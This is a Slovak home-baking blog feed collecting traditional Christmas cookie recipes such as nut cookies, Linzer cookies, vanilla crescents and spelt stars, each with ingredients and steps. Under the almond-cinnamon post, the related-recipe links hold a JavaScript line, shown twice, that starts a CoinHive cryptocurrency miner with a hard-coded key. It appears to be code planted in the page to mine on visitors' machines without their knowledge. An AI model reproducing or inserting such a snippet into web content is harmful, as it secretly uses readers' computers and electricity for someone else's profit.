Aby sa mne, ale hlavne vám, na blogu ľahšie hľadalo, zhrnula som vám moje naj vianočné recepty do jedného článku. Recepty sú rokmi overené a u nás veľmi obľúbené. Vždy ma poteší, keď mi aj vy dáte spätnú väzbu. Ak si niečim nie ste istí, napíšte mi komentár pod recept, rada vám odpoviem. Pri mnohých receptoch tak už nájdete diskusiu či skúsenosti iných, ktoré vám pri pečení tiež môžu pomôcť.

Všetky sviatočné recepty nájdete aj v príznačnej kategórii Vianočné recepty. Určite ju prelustrujte celú, okrem vianočného pečiva nájdete recepty na sviatočné torty, vianočnú rybu, či iné, klasické aj menej tradičné vianočné jedlá.

O tom, odkiaľ pochádzam a ako to na Štedrý deň vyzerá u nás doma, sa dočítate v tomto článku.

A teraz už moje tipy na tradičné vianočné koláče:

1. Oriešky

2. Vianočné orechové pečivo

3. Rožky z kyslého mlieka

4. Židovský závin

5. Vanilkové rožky

6. Linecké pečivo

7. Medovníčky

8. Medvedie labky

9. Kokosové pusinky

10. Orechové očká

Bonusový tip: Nepečené kokosové guľky v čokoláde

Ak vyskúšate niektorý z vianočných receptov, podeľte sa o to v komentároch.

Pre viac sviatočných receptov, sladkých aj slaných, si prezrite kategóriu Vianočné recepty.

Prajem vám príjemné pečenie a pokojné prežitie Vianoc!

Ela

Príspevok 10 receptov na tradičné vianočné koláče zobrazený najskôr Zo srdca do hrnca.

Mne sa pri vianočnom pečení vždy zvýšia bielka po lineckých, preto dobre padne recept, v ktorom ich hneď viem spotrebovať. Pokojne si koláčiky urobte z dvojitej dávky. Najviac mi chutia na tretí, štvrtý deň, keď sú trochu odstáte. Dobre skladované vydržia samozrejme dlhšie.

Ak máte veľa zvyšných bielkov, odporúčam aj tieto kokosové pusinky. Vlastne keď tak rozmýšľam, orechové a kokosové koláčiky mi k Vianociam veľmi idú. Kedysi som chcela čo najviac druhov, veď čo ak bude málo? Ochutnávame ešte pred sviatkami, prídu návštevy a z každého treba ponúknuť… no tieto Vianoce si vravím, že pečiem len zopár najobľúbenejších. Nech ich nedojedáme ešte aj po Troch kráľoch. Ale ako sa vraví človek mieni, žena pred Vianocami v zápale pečiaceho ošiaľu mení… :D

Orechové očká

• 1 bielko
• 2 ČL octu
• 100 g mletých vlašských orechov
• 80 g práškového cukru

Bielko vyšľaháme dotuha, vmiešame k nemu dve lyžičky octu. (Ocot v upečených koláčikoch nie je cítiť.) Mleté orechy zmiešame s práškovým cukrom a pridáme k nim bielkovu penu. Z cesta rukou odoberáme kôpky, ktoré vytvarujeme a uložíme na plech vystlaný pečiacim papierom. Do stredu kolieska urobíme jamku. Do každej jamky dáme trocha slivkového lekváru (lekvár si naberiem do malého sáčka, urobím v ňom dierku a vytláčam). Pečieme pri 150 st. C asi 15-20 minút do zlata. Necháme chvíľu vychladnúť a potom odoberiem z plechu. Skladujeme vo vzduchotesnej nádobe.

Ak vyskúšate orechové očká podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Orechové očká zobrazený najskôr Zo srdca do hrnca.

Pečivo je trvanlivé a dá sa upiecť dopredu, ale stíhate to aj pár dní pred Vianocami. Ak vás doma nie je veľa, môžete koláčiky napiecť len z polovičnej dávky. Vianoce predsa nemusia byť o prejedaní, aj keď si chceme dopriať tradičné chute :)

Pre ďalšie tipy na vianočné pečivo pozrite sekciu Vianočné recepty. Okrem tradičných koláčikov tu nájdete aj recepty na čokoládový likér, vianočný punč či naše vianočné menu od polievky, cez bobaľky až po rybu.

Linecké pečivo

• 300 g hladkej múky
• 200 g zmäknutého masla
• 100 g práškového cukru
• 2 žĺtky
• citrónová kôra
• štipka soli

Zo surovín vymiešame kompaktné cesto, ktoré necháme odležať v chladničke 2 hodiny, ideálne do druhého dňa. Na pomúčenej doske cesto rozvaľkáme natenko a formičkami vykrajujeme tvary. Pečieme pri 175 st. C asi 8 minút dozlata (podľa hrúbky). Necháme vychladnúť a kyslým džemom lepíme po dva. Poprášime práškovým cukrom a skladujeme v uzatvárateľnej nádobe.

Pre viac sviatočných receptov si pozrite celú sekciu Vianočné recepty.

Ak vyskúšate linecké koláčiky podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Linecké pečivo zobrazený najskôr Zo srdca do hrnca.

Sú najlepšie. Krehké a voňavé. Odporúčam pri obaľovaní použiť pravú bourbonskú vanilku, ten rozdiel fakt cítiť. Kupujem ju v malom vrecúšku v dm-ke a vydrží fakt dlho. Ak nemáte špaldovú múku, môžete použiť klasickú. Keďže sa obaľujú v cukre, ubrala som z cukru v ceste, a stále sú supersladké :) Obaľujú sa ešte teplé, ale počkajte aspoň 5 minút po vytiahnutí z rúry, aby sa vám pri chytaní nepolámali, sú naozaj krehké.

Vanilkové rožky

Cesto:

• 200 g hladkej múky (obyčajná pšeničná alebo špaldová)
• 140 g masla
• 70 g mletých orechov
• 30 g práškového cukru

Na obaľovanie:

• 3 PL práškového cukru
• 1/2 KL bourbonskej vanilky

Zmiešame suroviny na cesto, odložíme do chladničky a necháme postáť aspoň hodinu, ideálne do druhého dňa.
Odležané cesto vyberieme a rozdelíme na dve polovice (ak vám cesto stálo v chladničke cez noc, vyberte ho aspoň 1/2 hodinu pred pečením).  
Z cesta ušúľame dlhý valček, ktorý nakrájame na časti. Ja si vážim 10-gramové kúsky (vyjde 44 ks rožkov).
Z kúskov cesta tvarujeme valček a zohneme ho do tvaru rožka.
Ukladáme na plech vystlaný papierom na pečenie a pečieme pri 175 st. C 10 – 14 minút podľa hrúbky rožtekov.
Po upečení ich necháme aspoň 5 minút odstáť a ešte teplé obaľujeme v cukre s vanilkou.

P.S.: Pre viac vianočných inšpirácií mrknite Vianočné recepty.

Ak vyskúšate vanilkové rožky podľa môjho receptu, podeľte sa o to v komentároch.
Ela

Príspevok Vanilkové rožky zobrazený najskôr Zo srdca do hrnca.

Na rožky z kyslého mlieka potrebujeme:

Cesto (klasická verzia):

• 300 g hladkej múky
• 250 g zmäknutého masla
• 5 PL /cca 125 g/ kyslej smotany (alebo 5 PL kyslého mlieka – acidko, kefír,…/cca 60 g/)
• štipka soli

TIP: cesto môžete pripraviť aj z iných múk, napríklad takto:

• 230 g bielej špaldovej múky
• 70 g mandľovej múky
• 250 g masla
• 5 PL kyslej smotany alebo 5 PL kyslého mlieka (acidko, kefír,..)
• štipka soli

Maková náplň:

• 100 g mletého maku
• 30 g práškového cukru
• 0,5 dcl horúceho mlieka (možno aj viac, prilievať postupne)

Orechová náplň:

• 150 g mletých orechov
• 50 g práškového cukru
• 3-5 PL horúceho mlieka (prilievať postupne)

Postup:

1. Cesto pripravíme zmiešaním múky, masla, kyslej smotany a trošky soli. Necháme v chladničke odstáť aspoň 30 minút, môžeme aj dlhšie.
2. Pripravíme si makovú aj orechovú náplne zmiešaním surovín – horúce mlieko prilievame postupne, aby plnka bola kompaktná, ale nie príliš vlhká.
3. Odstáte cesto vyberieme, rozdelíme na 2-3 časti. Cesto rozvaľkáme na 5 mm hrúbku. Je pružné a poddajné, dobre sa sním pracuje, občas môžete trochu podmúčiť. Nakrájame na štvorce 5×5 cm. Na štvorce ukladáme kopček náplne a protiľahlé rohy spojíme, vrchný rožtek pretiahneme až dole, aby sa pri pečení neotváral.
4. Uložíme na plech s papierom na pečenie, pečieme v dobre rozohriatej rúre na 180 st.C 15-18 minút.
5. Po upečení ich posypeme cukrom.

Zo srdca vám prajem šťastné a pokojné Vianoce! :-)

Ak vyskúšate rožky z kyslého mlieka podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Rožky z kyslého mlieka zobrazený najskôr Zo srdca do hrnca.

Pečenie si naplánujte v krátkom predstihu pred Vianocami, aby pečivo ešte stihlo trochu zmäknúť – stačí mu týždeň na odstátie. Naplniť ho môžete domácim džemom aký máte najradšej, u nás vyhral sladko-trpký borievkový a osviežujúci bižalmový.

Suroviny na vianočné orechové pečivo:

• 150 g celozrnnej špaldovej múky
• 150 g bielej špaldovej múky
  • TIP: namiesto týchto múk môžete použiť 300 g hladkej pšeničnej múky
• 100 g mletých vlašských orechov
• 100 g trstinového cukru
• 200 g masla
• 1 vajce od šťastnej sliepky
• 1/2 ČL mletej škorice
• štipka soli
• + na potretie domáci džem, na ozdobu čokoláda

Postup:

1. Zmiešame maslo s cukrom, pridáme vajce, orechy zmiešané s múkou, škoricou a soľou. Vypracujeme cesto, ktoré odložíme na hodinu do chladničky.
2. Cesto rozvaľkáme na dosku a formičkami vykrajujeme pečivo. Uložíme na plech s papierom na pečenie.
3. Pečieme pri teplote 170 st.C 10-12 minút dozlata.
4. Necháme vychladnúť a spojíme džemom, potrieme alebo pofŕkame čokoládou.

Čokoládu pripravujem roztopením vo vodnom kúpeli s troškou kokosového oleja pre väčší lesk.

Ak vyskúšate vianočné orechové pečivo podľa môjho receptu, podeľte sa o to v komentároch.
Ela

Príspevok Vianočné orechové pečivo zobrazený najskôr Zo srdca do hrnca.

Príprava je rýchla, maslo a vajíčko vyberte z chladničky skôr, nech sú izbovej teploty. Nepotrebujete ani valček či formičky na vykrajovanie, všetko zvládnete ručne-stručne :)

Na mandľovo-škoricové pečivo potrebujeme:

• 100 g mandľovej múky
• 30 g gaštanovej múky
• 50 g trstinového cukru
• 1/2 ČL vínneho kameňa
• 1 vajce
• 70 g masla
• štipka soli
• štipka pravej vanilky
• 1/2 ČL škorice

Všetky suroviny zmiešame a rukami spracujeme na cesto. Z cesta tvarujeme guľky, ktoré v dlaniach zľahka sploštíme a pečieme 18-20 minút pri 180 st. C. Z uvedeného množstva získame 15 ks keksov.

Ak by sa vám cesto pri formovaní keksíkov drobilo, pridajte ešte trochu masla. Konzistencia záleží aj od veľkosti vajíčka.

Pre viac inšpirácie pozrite aj ďalšie vianočné recepty:

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Špaldové hviezdičky

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Oriešky

Príspevok Mandľovo-škoricové pečivo zobrazený najskôr Zo srdca do hrnca.

Dnes už ale radšej pečiem z iných múk ako z klasickej bielej pšeničnej. Tu som namiesto pšeničnej hrubej múky zvolila špaldovú, ubrala som cukor a chuťou ostali úplne perfektné!

Ak stíhate, cesto si urobte deň pred pečením.

Oriešky pečiem v predstihu 10-14 dní a tesne pred Vianocami ich už len naplním plnkou a spojím.

Na cesto potrebujeme:

• 280 g hrubej špaldovej múky (alebo pšeničnej)
• 220 g masla
• 60 g práškového cukru
• 150 g mletých orechov
• 20 g kakaa
• štipka pravej vanilky

Plnka:

• 150 g mletých orechov
• 1 dcl mlieka
• 100 g práškového cukru
• 150 g masla

1. Všetky suroviny na cesto zmiešame a dobre vypracujeme.
2. Z cesta tvarujeme malé guľky, ktoré vtlačíme do formičiek (formičky netreba vymastiť).
3. Pečieme na 170°C 10-11 minút.
4. Po vybratí necháme 2-3 min. vychladnúť a vyklopíme – formičku oprieme o okraj a zvonku klepneme nožom.
5. Plnku pripravíme tak, že zalejeme mleté orechy mliekom, pridáme maslo a cukor a touto zmesou spájame oriešky.
6. Spojením dostaneme 50 krehkých lahodných orieškov.

Ak vyskúšate oriešky podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Oriešky zobrazený najskôr Zo srdca do hrnca.

Aj keď v tomto recepte uvádzam špaldovú múku, cesto funguje rovnako dobre aj s klasickou pšeničnou polohrubou múkou. Je preto na vás, ktorú použijete. 

Na špaldové hviezdičky potrebujeme:

• 200 g špaldovej polohrubej múky
• 50 g mletých orechov (vlašské, mandle)
• 125 ml smotany na šľahanie
• 125 g masla

Postup:

1. Všetky ingrediencie spojíme a rukami vypracujeme cesto. Odložíme na hodinu do chladničky.
2. Na pomúčenej doske rozvaľkáme cesto na hrúbku asi 3 mm, v rúre už veľmi nenarastie. Vykrajujeme hviezdičky, alebo iné tvary. Pečieme vo vyhriatej rúre pri teplote 180°C 10 minút.

Keďže sú celkom bez cukru, môžete ich po upečení posypať práškovým cukrom, alebo len pofŕkať čokoládou.

Ak vyskúšate špaldové hviezdičky podľa môjho receptu, podeľte sa o to v komentároch!

Ela

Príspevok Špaldové hviezdičky zobrazený najskôr Zo srdca do hrnca.